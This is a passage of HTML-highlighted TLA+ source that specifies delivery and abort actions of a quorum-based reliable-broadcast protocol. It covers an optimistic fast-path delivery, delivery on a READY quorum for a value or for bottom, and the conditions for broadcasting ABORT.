&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;379&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;380&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;381&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;D1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;OPTIMISTIC&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DELIVER&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;382&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Qo&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fast&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;383&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;OptimisticDeliver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;384&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;385&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;EchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Qo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;386&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;387&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [delivered EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;388&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;389&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;390&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;391&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;392&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;393&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;D2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DELIVER&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ON&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;VALUE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;394&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;395&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DeliverOnReadyValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;396&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;397&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;398&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Primary&lt;/span&gt; &lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;readied&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Fallback&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;readied&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t win.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;399&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;400&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;¬&lt;/span&gt;&lt;span class="n"&gt;CanWin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;401&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [delivered EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;402&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;403&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;404&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;405&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;406&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;407&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;D3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DELIVER&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ON&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;BOT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;408&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;409&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DeliverOnReadyBottom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;410&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;411&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;HasReadyBottomQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;412&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Primary&lt;/span&gt; &lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;readied&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Fallback&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;readied&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t win.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;413&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;414&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;¬&lt;/span&gt;&lt;span class="n"&gt;CanWin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;415&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [delivered EXCEPT ![self] = Bottom]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;416&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;417&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = Bottom]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;418&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;419&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;420&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;421&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SEND&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ABORT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;422&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;detecting&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;reach&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;ABORT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;423&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SendAbort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;424&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;425&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;426&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;427&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;TotalReadys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;428&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;429&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;¬&lt;/span&gt;&lt;span class="n"&gt;HasReadyBottomQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;430&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;¬&lt;/span&gt;&lt;span class="n"&gt;CanReachQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;431&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_abort EXCEPT ![self] = TRUE]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;432&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;433&lt;/span&gt;&lt;span class="cl"&gt;
